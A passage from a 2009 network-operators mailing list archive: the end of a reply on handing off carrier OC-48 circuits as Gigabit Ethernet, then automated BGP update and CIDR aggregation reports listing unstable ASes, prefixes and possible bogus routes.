gear pretty cheap, but the original 15454 gig-e cards will not make you happy. Newer cards can give you 2 full Gig-es and probably a modest amount of spare DS3 or DS1 tdm capacity on an OC-48, but then the price will be higher. They probably want more $$s if you ask them to hand you your "OC-48" as multiple smaller pieces (eg 2 x Gig-e), and I would think you should want to do the muxing yourself., but ask, if that is easiest for you. It will help if you KNOW what their hardware is actually capable of. > So, how can I best make use of this beast in my ethernet-centered world? > > 1- Since it doesn't cost me anything, I'm going to try to send a > gigabit LX signal and see what happens. The handoff from the carrier to > me seems to be a plain 1310 type of signal... Light goes on, light goes > off, maybe the carrier's gear doesn't care that it's not modulating > "fast enough" and I'll get lucky? Unlikely. They probably have to know exactly what is coming at them, though it may be easily configured to be any of several possibilities at or around the same speed (eg OTU-1 vs OC-48) > 2- MRV's EM2009-GM2 card takes 2xGE and spits out a 2.5G signal > of some sort. However they won't guarantee me that it'll work when > talking to the Ciana card the carrier is using. I should probably > inquire about their return policy and go for it. Don't play with "returns", have them DEMO it for you for a few weeks. If they won't, shop elsewhere. MRV has all sorts of nice "bag or tricks" gadgets, but I'd first ask Ciena what small chassis they have that can play here. It will also be a "free" education into what the carrier's own capabilities probably are, and Ciena should know what equipment is in use there. From cidr-report at potaroo.net Fri Apr 17 07:00:03 2009 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 17 Apr 2009 22:00:03 +1000 (EST) Subject: BGP Update Report Message-ID: <200904171200.n3HC034W036194@wattle.apnic.net> BGP Update Report Interval: 16-Mar-09 -to- 16-Apr-09 (32 days) Observation Point: BGP Peering with AS131072 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS6389 336400 4.2% 77.1 -- BELLSOUTH-NET-BLK - BellSouth.net Inc. 2 - AS2386 93991 1.2% 72.4 -- INS-AS - AT&T Data Communications Services 3 - AS8452 87338 1.1% 61.2 -- TEDATA TEDATA 4 - AS6478 74423 0.9% 54.9 -- ATT-INTERNET3 - AT&T WorldNet Services 5 - AS29049 61885 0.8% 191.0 -- DELTA-TELECOM-AS Delta Telecom LTD. 6 - AS11492 59264 0.7% 48.5 -- CABLEONE - CABLE ONE, INC. 7 - AS12978 54276 0.7% 299.9 -- DOGAN-ONLINE Dogan Iletisim Elektronik Servis Hizmetleri AS 8 - AS10796 52716 0.7% 54.0 -- SCRR-10796 - Road Runner HoldCo LLC 9 - AS7018 51476 0.6% 34.1 -- ATT-INTERNET4 - AT&T WorldNet Services 10 - AS19262 50870 0.6% 51.8 -- VZGNI-TRANSIT - Verizon Internet Services Inc. 11 - AS9498 49199 0.6% 69.5 -- BBIL-AP BHARTI Airtel Ltd. 12 - AS9829 48838 0.6% 74.3 -- BSNL-NIB National Internet Backbone 13 - AS17488 47441 0.6% 30.5 -- HATHWAY-NET-AP Hathway IP Over Cable Internet 14 - AS35805 44809 0.6% 138.7 -- UTG-AS United Telecom AS 15 - AS6629 39731 0.5% 611.2 -- NOAA-AS - NOAA 16 - AS20115 37139 0.5% 22.0 -- CHARTER-NET-HKY-NC - Charter Communications 17 - AS4323 34658 0.4% 8.0 -- TWTC - tw telecom holdings, inc. 18 - AS6458 33219 0.4% 83.7 -- Telgua 19 - AS701 31261 0.4% 36.2 -- UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 20 - AS7545 31200 0.4% 37.8 -- TPG-INTERNET-AP TPG Internet Pty Ltd TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS7717 13041 0.2% 13041.0 -- OPENIXP-AS-ID-AP OpenIXP ASN 2 - AS46653 17118 0.2% 5706.0 -- FREDRIKSON---BYRON - Fredrikson & Byron, P.A. 3 - AS14223 6661 0.1% 3330.5 -- NYSDOH - New York State Department of Health 4 - AS19017 2284 0.0% 2284.0 -- QUALCOMM-QWBS-LV - Qualcomm, Inc. 5 - AS32398 16537 0.2% 2067.1 -- REALNET-ASN-1 6 - AS46328 17359 0.2% 1928.8 -- PTCNEBRASKA - PIERCE TELEPHONE COMPANY, INCORPORATED 7 - AS5050 24762 0.3% 1904.8 -- PSC-EXT - Pittsburgh Supercomputing Center 8 - AS40344 1403 0.0% 1403.0 -- PROSK-1 - Pro Sky Wireless 9 - AS42291 6892 0.1% 1378.4 -- ISTRANET-AS Istranet LLC 10 - AS9796 3846 0.1% 1282.0 -- WIPRO Internet Service Providers 11 - AS47640 3751 0.1% 1250.3 -- TRICOMPAS Tricomp Sp. z. o. o. 12 - AS34321 2339 0.0% 1169.5 -- LDK-AS Institute of strategic marks, Kiev, Ukraine 13 - AS15045 3175 0.0% 1058.3 -- KITTELSON - KITTELSON AND ASSOCIATES, INC. 14 - AS20925 3140 0.0% 1046.7 -- RESEAU-DANZAS DANZAS Autonomous System 15 - AS19398 1903 0.0% 951.5 -- INDENET - Indenet.net 16 - AS13683 870 0.0% 870.0 -- AUTO-WARES-ASN - Auto-Wares Inc 17 - AS34996 864 0.0% 864.0 -- ANADOLUSIGORTA-AS Anadolu Sigorta AS 18 - AS45417 857 0.0% 857.0 -- CFLINDIA-NET-IN 1-2-10, S P ROAD 19 - AS5691 10548 0.1% 811.4 -- MITRE-AS-5 - The MITRE Corporation 20 - AS17975 11140 0.1% 795.7 -- APT-AP AS# for peering purpose with IX and ISP. TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 72.23.246.0/24 24649 0.3% AS5050 -- PSC-EXT - Pittsburgh Supercomputing Center 2 - 199.45.13.0/24 17096 0.2% AS46653 -- FREDRIKSON---BYRON - Fredrikson & Byron, P.A. 3 - 41.204.2.0/24 16348 0.2% AS32398 -- REALNET-ASN-1 4 - 192.35.129.0/24 13238 0.2% AS6629 -- NOAA-AS - NOAA 5 - 198.77.177.0/24 13096 0.1% AS6629 -- NOAA-AS - NOAA 6 - 121.101.184.0/24 13069 0.1% AS38785 -- BAGUSNET-AS-ID PT. BORNEO BROADBAND TECHNOLOGY AS7717 -- OPENIXP-AS-ID-AP OpenIXP ASN 7 - 192.102.88.0/24 13056 0.1% AS6629 -- NOAA-AS - NOAA 8 - 222.255.51.64/26 10659 0.1% AS7643 -- VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) 9 - 192.12.120.0/24 10423 0.1% AS5691 -- MITRE-AS-5 - The MITRE Corporation 10 - 202.92.235.0/24 7623 0.1% AS9498 -- BBIL-AP BHARTI Airtel Ltd. 11 - 192.135.176.0/24 6651 0.1% AS14223 -- NYSDOH - New York State Department of Health 12 - 195.96.69.0/24 5816 0.1% AS8225 -- ASTELIT-MSK-AS Astelit Autonomous System 13 - 202.154.60.0/22 5797 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 14 - 193.201.184.0/21 5599 0.1% AS25546 -- BROOKLANDCOMP-AS Brookland Computer Services 15 - 202.154.58.0/24 5531 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 16 - 202.154.60.0/24 5531 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 17 - 205.104.240.0/20 5527 0.1% AS5839 -- DDN-ASNBLK - DoD Network Information Center 18 - 202.154.57.0/24 4831 0.1% AS4434 -- ERX-RADNET1-AS PT Rahajasa Media Internet 19 - 91.68.239.0/24 4617 0.1% AS29372 -- SFR-NETWORK SFR 20 - 91.68.238.0/24 4461 0.1% AS29372 -- SFR-NETWORK SFR Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Apr 17 07:00:00 2009 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 17 Apr 2009 22:00:00 +1000 (EST) Subject: The Cidr Report Message-ID: <200904171200.n3HC00BY036187@wattle.apnic.net> This report has been generated at Fri Apr 17 21:14:20 2009 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 10-04-09 291172 182326 11-04-09 291634 182060 12-04-09 291501 182042 13-04-09 291931 182023 14-04-09 291973 182186 15-04-09 291867 182331 16-04-09 291834 182793 17-04-09 292288 182981 AS Summary 31130 Number of ASes in routing system 13215 Number of ASes announcing only one prefix 4304 Largest number of prefixes announced by an AS AS6389 : BELLSOUTH-NET-BLK - BellSouth.net Inc. 89541120 Largest address span announced by an AS (/32s) AS27064: DDN-ASNBLK1 - DoD Network Information Center Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 17Apr09 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 292476 183014 109462 37.4% All ASes AS6389 4304 359 3945 91.7% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4323 4262 1697 2565 60.2% TWTC - tw telecom holdings, inc. AS209 2647 1183 1464 55.3% ASN-QWEST - Qwest Communications Corporation AS4766 1800 515 1285 71.4% KIXS-AS-KR Korea Telecom AS17488 1536 348 1188 77.3% HATHWAY-NET-AP Hathway IP Over Cable Internet AS22773 1049 66 983 93.7% ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. AS4755 1181 283 898 76.0% TATACOMM-AS TATA Communications formerly VSNL is Leading ISP AS8452 1252 357 895 71.5% TEDATA TEDATA AS8151 1446 570 876 60.6% Uninet S.A. de C.V. AS1785 1746 923 823 47.1% AS-PAETEC-NET - PaeTec Communications, Inc. AS19262 979 236 743 75.9% VZGNI-TRANSIT - Verizon Internet Services Inc. AS6478 1361 783 578 42.5% ATT-INTERNET3 - AT&T WorldNet Services AS855 643 76 567 88.2% CANET-ASN-4 - Bell Aliant Regional Communications, Inc. AS18566 1060 493 567 53.5% COVAD - Covad Communications Co. AS11492 1177 614 563 47.8% CABLEONE - CABLE ONE, INC. AS18101 753 218 535 71.0% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS2706 543 41 502 92.4% HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited AS22047 611 113 498 81.5% VTR BANDA ANCHA S.A. AS7545 804 318 486 60.4% TPG-INTERNET-AP TPG Internet Pty Ltd AS17908 607 123 484 79.7% TCISL Tata Communications AS7018 1477 1018 459 31.1% ATT-INTERNET4 - AT&T WorldNet Services AS6517 720 261 459 63.8% RELIANCEGLOBALCOM - Reliance Globalcom Services, Inc AS4808 617 164 453 73.4% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS4804 497 64 433 87.1% MPX-AS Microplex PTY LTD AS24560 682 257 425 62.3% AIRTELBROADBAND-AS-AP Bharti Airtel Ltd., Telemedia Services AS17676 561 137 424 75.6% GIGAINFRA BB TECHNOLOGY Corp. AS7011 958 551 407 42.5% FRONTIER-AND-CITIZENS - Frontier Communications of America, Inc. AS4668 687 282 405 59.0% LGNET-AS-KR LG CNS AS4134 894 528 366 40.9% CHINANET-BACKBONE No.31,Jin-rong Street AS4780 489 127 362 74.0% SEEDNET Digital United Inc. Total 37343 12705 24638 66.0% Top 30 total Possible Bogus Routes 24.75.116.0/22 AS10796 SCRR-10796 - Road Runner HoldCo LLC 24.245.128.0/17 AS11492 CABLEONE - CABLE ONE, INC. 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 41.220.16.0/20 AS8668 TELONE-AS TelOne Zimbabwe P/L 41.223.112.0/22 AS5713 SAIX-NET 41.223.188.0/24 AS22351 INTELSAT Intelsat Global BGP Routing Policy 41.223.189.0/24 AS26452 BRING-AS - BringCom, Inc. 50.50.50.0/30 AS38676 AS33005-AS-KR wizsolution co.,Ltd 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 62.61.221.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 64.31.32.0/19 AS11955 SCRR-11955 - Road Runner HoldCo LLC 64.31.32.0/22 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.36.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.38.0/23 AS12262 RR-CINCINNATI-ASN-01 - Road Runner HoldCo LLC 64.31.40.0/23 AS12262 RR-CINCINNATI-ASN-01 - Road Runner HoldCo LLC 64.31.42.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.44.0/23 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.46.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.48.0/22 AS11060 NEO-RR-COM - Road Runner HoldCo LLC 64.31.53.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.55.0/24 AS10796 SCRR-10796 - Road Runner HoldCo LLC 64.31.59.0/24 AS7017 SCRR-7015 - Road Runner HoldCo LLC 64.31.60.0/24 AS7017 SCRR-7015 - Road Runner HoldCo LLC 64.79.88.0/24 AS26096 LODDEN - Lodden Services 64.79.89.0/24 AS26096 LODDEN - Lodden Services 64.147.64.0/19 AS40156 THEOPT-HOU - The Optimal Link Corporation 64.186.0.0/19 AS6371 AMERICATEL - Americatel Corporation 64.186.6.0/24 AS6371 AMERICATEL - Americatel Corporation 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.11.40.0/21 AS6261 VISINET - Visionary Systems, Inc. 66.54.91.0/24 AS30506 BLACKSUN-1 - Blacksun Technologies LLC 66.55.160.0/19 AS29994 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.40.0/22 AS174 COGENT Cogent/PSI 66.206.44.0/23 AS174 COGENT Cogent/PSI 66.206.47.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 66.207.32.0/20 AS23011 66.245.176.0/20 AS19318 NJIIX-AS-1 - NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 80.88.0.0/21 AS33774 DJAWEB 80.88.8.0/22 AS33774 DJAWEB 80.88.10.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 80.255.0.0/20 AS33891 CORE-BACKBONE Core-Backbone GmbH 98.96.0.0/13 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 100.100.100.0/30 AS38676 AS33005-AS-KR wizsolution co.,Ltd 109.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 109.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 109.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 121.46.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 121.50.168.0/21 AS9931 CAT-AP The Communication Authoity of Thailand, CAT 122.128.120.0/22 AS38456 PACTEL-AS-AP Pacific Teleports. 137.0.0.0/13 AS27064 DDN-ASNBLK1 - DoD Network Information Center 150.0.2.0/24 AS9730 BHARTITELESONIC-AS-IN-AP Bharti Telesonic Ltd 150.0.3.0/24 AS9730 BHARTITELESONIC-AS-IN-AP Bharti Telesonic Ltd 150.0.11.0/24 AS9730 BHARTITELESONIC-AS-IN-AP Bharti Telesonic Ltd 158.222.5.0/24 AS21580 DIRCON - Direct Connect 158.222.70.0/23 AS6137 SISNA - SISNA, Inc. 158.222.72.0/23 AS6137 SISNA - SISNA, Inc. 158.222.224.0/20 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.224.0/22 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.229.0/24 AS19864 O1COMM - O1 COMMUNICATIONS 163.142.0.0/16 AS2500 WIDE-BB WIDE Project 168.253.0.0/16 AS13649 ASN-VINS - ViaWest 168.253.0.0/21 AS13649 ASN-VINS - ViaWest 172.7.0.0/24 AS28175 172.10.1.0/30 AS18305 POSNET POSDATA Co.,Ltd 178.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 178.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 178.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 192.9.0.0/16 AS11479 BRM-SUN-AS - Sun Microsystems, Inc 192.9.200.0/24 AS3602 AS3602-RTI - Rogers Telecom Inc. 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.107.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.177.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.96.37.0/24 AS10474 NETACTIVE 192.96.135.0/24 AS2018 TENET-1 192.96.136.0/23 AS2018 TENET-1 192.96.141.0/24 AS2018 TENET-1 192.96.143.0/24 AS2018 TENET-1 192.96.145.0/24 AS2018 TENET-1 192.96.177.0/24 AS6083 POSIX-AFRICA 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Avantel, S.A. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.124.248.0/23 AS680 DFN-IP service G-WiN 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 ORANGE-BUSINESS-SERVICES-CEEUR Orange Business Services (formerly Equant) AS for CEEUR 192.145.251.0/24 AS38676 AS33005-AS-KR wizsolution co.,Ltd 192.153.144.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 194.8.148.0/22 AS35680 LINIATEL Liniatel Telecomunications service provider 196.6.108.0/24 AS5713 SAIX-NET 196.10.119.0/24 AS2018 TENET-1 196.10.122.0/23 AS2018 TENET-1 196.10.251.0/24 AS2018 TENET-1 196.10.252.0/23 AS2018 TENET-1 196.10.254.0/24 AS2018 TENET-1 196.13.101.0/24 AS2018 TENET-1 196.13.102.0/23 AS2018 TENET-1 196.13.104.0/24 AS2018 TENET-1 196.13.121.0/24 AS2018 TENET-1 196.13.125.0/24 AS2018 TENET-1 196.13.126.0/24 AS2018 TENET-1 196.13.169.0/24 AS2018 TENET-1 196.13.174.0/23 AS2018 TENET-1 196.13.176.0/21 AS2018 TENET-1 196.13.192.0/22 AS2018 TENET-1 196.13.196.0/24 AS2018 TENET-1 196.202.224.0/21 AS8818 TELE Greenland Autonomous System 198.1.2.0/24 AS4761 INDOSAT-INP-AP INDOSAT Internet Network Provider 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET-1 198.54.92.0/24 AS2018 TENET-1 198.54.222.0/24 AS2018 TENET-1 198.73.210.0/24 AS21570 ACI-1 - Accelerated Connections Inc. 198.97.72.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.97.96.0/19 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.97.240.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 199.10.0.0/16 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.0.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.128.0/18 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.130.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.131.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.132.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DoD Network Information Center 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.144.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.148.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.150.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.156.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.160.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.121.0.0/16 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.0.0/18 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.16.0/20 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.123.80.0/21 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.202.216.0/21 AS577 BACOM - Bell Canada 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 202.6.176.0/20 AS24316 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.72.40.0/24 AS38205 202.72.41.0/24 AS38205 202.72.47.0/24 AS38205 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.80.192.0/20 AS2706 HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.94.70.0/24 AS9837 POWERTEL-AP Powertel Ltd 202.122.120.0/21 AS17494 BTTB-AS-AP Telecom Operator & Internet Service Provider as well 202.124.195.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.133.70.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.133.73.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.140.160.0/24 AS4841 202.140.161.0/24 AS4841 202.140.162.0/24 AS4841 202.140.163.0/24 AS4841 202.140.164.0/24 AS4841 202.140.165.0/24 AS4841 202.140.166.0/24 AS4841 202.140.167.0/24 AS4841 202.140.168.0/24 AS4841 202.140.169.0/24 AS4841 202.140.170.0/24 AS4841 202.140.171.0/24 AS4841 202.140.172.0/24 AS4841 202.140.173.0/24 AS4841 202.140.174.0/24 AS4841 202.140.175.0/24 AS4841 202.140.180.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.140.181.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.140.182.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.150.227.0/24 AS17727 NAPINFO-AS-AP PT. NAP Info Lintas Nusa 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecommunications Ltd 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/19 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.152.154.0/23 AS9583 SIFY-AS-IN Sify Limited 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.217.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.13.140.0/22 AS7270 NET2PHONE - Net2Phone Corp. 204.13.140.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.141.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.142.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.143.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.184.0/23 AS35967 204.13.186.0/23 AS35967 204.13.186.0/24 AS35967 204.13.187.0/24 AS35967 204.19.14.0/23 AS577 BACOM - Bell Canada 204.89.214.0/24 AS4323 TWTC - tw telecom holdings, inc. 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 205.189.134.0/24 AS11814 CYBERSURF - Cybersurf Inc. 205.210.145.0/24 AS11814 CYBERSURF - Cybersurf Inc. 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 207.174.0.0/16 AS13790 INTERNAP-BLK3 - Internap Network Services Corporation 207.174.131.0/24 AS30715 NETRACK - Netrack, Inc. 207.174.132.0/23 AS30715 NETRACK - Netrack, Inc. 207.174.151.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.152.0/22 AS30715 NETRACK - Netrack, Inc. 207.174.158.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.177.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.178.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.182.0/24 AS29831 FONENET - FONE NET, LLC 207.174.188.0/22 AS30715 NETRACK - Netrack, Inc. 207.174.192.0/24 AS29831 FONENET - FONE NET, LLC 207.174.200.0/24 AS22658 EARTHNET - Earthnet, Inc. 207.174.248.0/21 AS6653 PRIVATEI - privateI, LLC 207.204.168.0/24 AS15150 BELLTECH-AS - BELLWETHER TECHNOLOGY CORPORATION 207.204.222.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 209.54.93.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 209.54.111.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.54.240.0/21 AS10887 BPSI-AS - BPSI Internet Services 209.74.96.0/19 AS10912 INTERNAP-BLK - Internap Network Services Corporation 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.145.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 209.177.93.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 209.177.94.0/24 AS8088 SRTNET - SRT ENTERPRISES 209.222.5.0/24 AS26699 PSI-CT - Printing For Systems Inc 209.222.6.0/24 AS26699 PSI-CT - Printing For Systems Inc 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 216.37.114.0/23 AS3549 GBLX Global Crossing Ltd. 216.37.120.0/23 AS13377 216.99.16.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.99.20.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.172.198.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.172.199.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.240.240.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 